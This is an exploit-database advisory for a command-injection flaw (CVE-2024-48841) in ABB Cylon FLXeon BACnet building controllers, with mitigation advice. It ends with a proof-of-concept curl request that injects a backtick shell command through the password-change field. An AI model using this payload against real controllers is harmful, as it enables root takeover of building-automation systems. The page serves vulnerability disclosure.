ABB Cylon FLXeon 9.3.4 - Remote Code Execution (RCE)

vendor:

Cylon FLXeon BACnet Controller

by:

Gjoko 'LiquidWorm' Krstic

6.1

CVSS

HIGH

Remote Code Execution (RCE)

CWE

Product Name: Cylon FLXeon BACnet Controller

Affected Version From: FLXeon Series (FBXi Series, FBTi Series, FBVi Series), CBX Series (FLX Series), CBT Series, CBV Series Firmware: <=9.3.4

Affected Version To: FLXeon Series (FBXi Series, FBTi Series, FBVi Series), CBX Series (FLX Series), CBT Series, CBV Series Firmware: 9.3.4

Patch Exists: YES

Related CWE: CVE-2024-48841

CPE: h:abb:ltd.:cylon_flxeon:9.3.4

Metasploit:

Other Scripts:

Platforms Tested: Linux

2024

ABB Cylon FLXeon 9.3.4 – Remote Code Execution (RCE)

The ABB Cylon FLXeon BACnet controller is vulnerable to authenticated remote root code execution via the /api/users/password endpoint. An attacker with valid credentials can inject arbitrary system commands by manipulating the newPassword PUT parameter. This vulnerability allows for out-of-band (blind) command injection due to improper hashing and escaping of the new password in the users.js file, which is then passed to ChildProcess.exec() within a usermod command.

Mitigation:

To mitigate this vulnerability, users are advised to update the firmware of ABB Cylon FLXeon controllers to version 9.3.5 or higher. Additionally, restrict access to the /api/users/password endpoint and implement proper input validation and sanitization.

Source

Exploit-DB raw data:

# Exploit title: ABB Cylon FLXeon 9.3.4 - Remote Code Execution (RCE)
# Vendor: ABB Ltd.
# Product web page: https://www.global.abb                   
# Affected version: FLXeon Series (FBXi Series, FBTi Series, FBVi Series)
                  CBX Series (FLX Series)
                  CBT Series
                  CBV Series
                  Firmware: <=9.3.4

Summary: BACnet® Smart Building Controllers. ABB's BACnet portfolio features a
series of BACnet® IP and BACnet MS/TP field controllers for ASPECT® and INTEGRA™
building management solutions. ABB BACnet controllers are designed for intelligent
control of HVAC equipment such as central plant, boilers, chillers, cooling towers,
heat pump systems, air handling units (constant volume, variable air volume, and
multi-zone), rooftop units, electrical systems such as lighting control, variable
frequency drives and metering.

The FLXeon Controller Series uses BACnet/IP standards to deliver unprecedented
connectivity and open integration for your building automation systems. It's scalable,
and modular, allowing you to control a diverse range of HVAC functions.

Desc: The ABB Cylon FLXeon BACnet controller is vulnerable to authenticated remote
root code execution via the /api/users/password endpoint. An attacker with valid
credentials can inject arbitrary system commands by manipulating the newPassword PUT
parameter. The issue arises in users.js, where the new password is hashed and improperly
escaped before being passed to ChildProcess.exec() within a usermod command, allowing
out of band (blind) command injection.

Tested on: Linux Kernel 5.4.27
           Linux Kernel 4.15.13
           NodeJS/8.4.0
           Express


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2025-5912
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5912.php
CVE ID: CVE-2024-48841
CVE URL: https://www.cve.org/CVERecord?id=CVE-2024-48841


21.04.2024

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$ curl -k -X PUT "https://7.3.3.1/api/users/password" \
> -H "Cookie: user_sid=xxx" \
> -H "Content-Type: application/json" \
> --data '{"oldPassword":"KAKA","newPassword":"ZULU`sleep 7`"}'